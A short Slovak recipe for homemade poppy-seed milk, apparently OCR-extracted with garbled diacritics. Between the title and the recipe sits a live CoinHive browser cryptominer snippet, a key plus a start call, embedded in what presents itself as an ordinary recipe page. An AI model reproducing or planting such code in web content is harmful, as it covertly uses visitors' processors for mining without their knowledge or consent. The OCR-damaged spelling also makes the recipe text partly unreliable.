Makové mlieko

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 100 g celého maku, 800 ml vody

Postup: 100 g celého maku preplachneme a zalejeme 800-100 ml vody. MenSie mnozstvo vody
zabezpecdi vyslednu hustejSiu mlie€nu konzistenciu. Takto zaliaty mak nechame cez noc
namoceny pri izbovej teplote. Je mozné ho obcas premiesat a uvidime, zZe zrnka maju po ¢ase
tendenciu usadzat sa na dne nadoby. V dosledku uvoltovaniu tuku z maku bude po par
hodinach tekutina Zltohneda. Zmes budiuceho makového mlieka prelejeme do mixéra a
mixujeme na najvysSich ota¢kach. Mixovanim sa do vody uvolfuju dolezité latky, tekutina
zacne penit a nadobudne bielu mlie¢nu farbu. Nakoniec premixované makové mlieko
potrebujeme precedit. Pouzijeme husté sitko, Ci steriln(i gazu, fanové platno alebo utierku.




